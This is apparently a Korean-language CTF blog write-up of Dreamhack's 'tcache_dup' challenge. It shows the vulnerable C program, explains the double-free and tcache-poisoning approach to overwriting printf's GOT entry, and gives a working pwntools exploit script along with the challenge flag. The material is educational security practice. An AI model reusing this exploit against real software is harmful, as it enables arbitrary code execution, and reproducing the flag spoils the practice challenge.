본문 바로가기

Wargame/Dreamhack

[Dreamhack] tcache_dup

 

Canary와 NX 보호 기법이 걸려 있다.

Partial RELRO -> GOT overwrite로 풀 수 있을지도?

 

 

// gcc -o tcache_dup tcache_dup.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

char *ptr[10];

void alarm_handler() {
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int create(int cnt) {
    int size;

    if (cnt > 10) {
        return -1;
    }
    printf("Size: ");
    scanf("%d", &size);

    ptr[cnt] = malloc(size);

    if (!ptr[cnt]) {
        return -1;
    }

    printf("Data: ");
    read(0, ptr[cnt], size);
}

int delete() {
    int idx;

    printf("idx: ");
    scanf("%d", &idx);

    if (idx > 10) {
        return -1;
    }

    free(ptr[idx]);
}

void get_shell() {
    system("/bin/sh");
}

int main() {
    int idx;
    int cnt = 0;

    initialize();

    while (1) {
        printf("1. Create\n");
        printf("2. Delete\n");
        printf("> ");
        scanf("%d", &idx);

        switch (idx) {
            case 1:
                create(cnt);
                cnt++;
                break;
            case 2:
                delete();
                break;
            default:
                break;
        }
    }

    return 0;
}

 

case1:

원하는 청크의 크기만큼 메모리를 할당하고 데이터를 저장

주소는 포인터 배열에 저장

 

case2:

포인터 배열 중 인덱스를 지정해 원하는 공간을 해제

하지만 청크를 free하고 초기화하지 않아서 Double Free Bug 발생

인덱스가 10 이상이면 free 안 함

 

청크 값을 수정할 수 있는 함수가 없음 -> Double Free Bug 보호 기법 우회 불가

그러나 DFB 보호 기법은 걸려 있지 않았다.

 

 

32~1040 바이트만큼 메모리를 할당 -> 2번 연속 free -> tcache duplication 발생

같은 크기로 메모리 할당 -> overwrite addr 입력 -> tcache poisoning 발생 -> tcache entry에 overwrite addr 추가됨

같은 크기 메모리 2번 할당 -> 2번째 메모리를 할당할 때 get_shell addr 입력 -> overwrite addr에 get_shell addr 저장

 

tcache dup 취약점을 이용해 print GOT를 get_shell addr로 overwrite한다.

다음 루프 실행 시에 printf() 대신에 get_shell()이 실행된다.

 

from pwn import *
import warnings

warnings.filterwarnings( 'ignore' )

p=remote('host3.dreamhack.games',21886)
e = ELF("./tcache_dup")
libc = ELF("./libc-2.27.so")

def create(size, data):
    p.sendlineafter("> ", "1")
    p.sendlineafter("Size: ", str(size))
    p.sendlineafter("Data: ", data)

def delete(idx):
    p.sendlineafter("> ", "2")
    p.sendlineafter("idx: ", str(idx))

# Double Free
create(64, "dreamhack")
delete(0)
delete(0)

# Overwrite next pointer -> printf's got -> get_shell
create(64, p64(e.got["printf"]))
create(64, "D"*8)
create(64, p64(e.symbols["get_shell"])) 

p.interactive()

 

 

DH{8fb591cfc1a2e30d0a33d53ace8e4973d40c28a4eb8d6e20581a2e8bdd393a91}

'Wargame > Dreamhack' 카테고리의 다른 글

[Dreamhack] cmd_center  (0) 2023.11.25
[Dreamhack] sint  (0) 2023.11.25
[Dreamhack] uaf_overwrite  (0) 2023.11.11
[Dreamhack] basic_exploitation_002  (0) 2023.11.11
[Dreamhack] Return to library  (0) 2023.09.24